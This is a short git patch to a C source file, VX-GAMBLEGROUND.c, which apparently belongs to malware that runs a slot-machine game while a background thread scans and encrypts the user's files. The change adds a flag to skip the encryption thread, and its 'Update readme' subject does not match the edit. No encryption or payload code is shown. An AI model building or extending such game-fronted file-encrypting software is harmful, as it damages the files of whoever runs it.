From 571824e31f8451a9bd8d60e7f59fd4f603185990 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Tue, 3 Sep 2024 14:41:25 -0500 Subject: Update readme --- src/VX-GAMBLEGROUND.c | 3 +++ 1 file changed, 3 insertions(+) (limited to 'src') diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 7277844..d51c488 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c @@ -212,8 +212,11 @@ int main(int argc, char *argv[]) { int err; if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success) error(1, 0, "[VX-GAMBLEGROUND] Could not start slots thread: %d", err); + + if(!(args.flags & SKIPENC)) { // Skip encryption if someone raised the flag if((err = thrd_create(&filescan, scanundencrypt, (void*)&scanner)) != thrd_success) error(1, 0, "[VX-GAMBLEGROUND] Could not start filescanner thread: %d", err); + } thrd_join(slots, NULL); thrd_join(filescan, NULL); -- cgit v1.2.3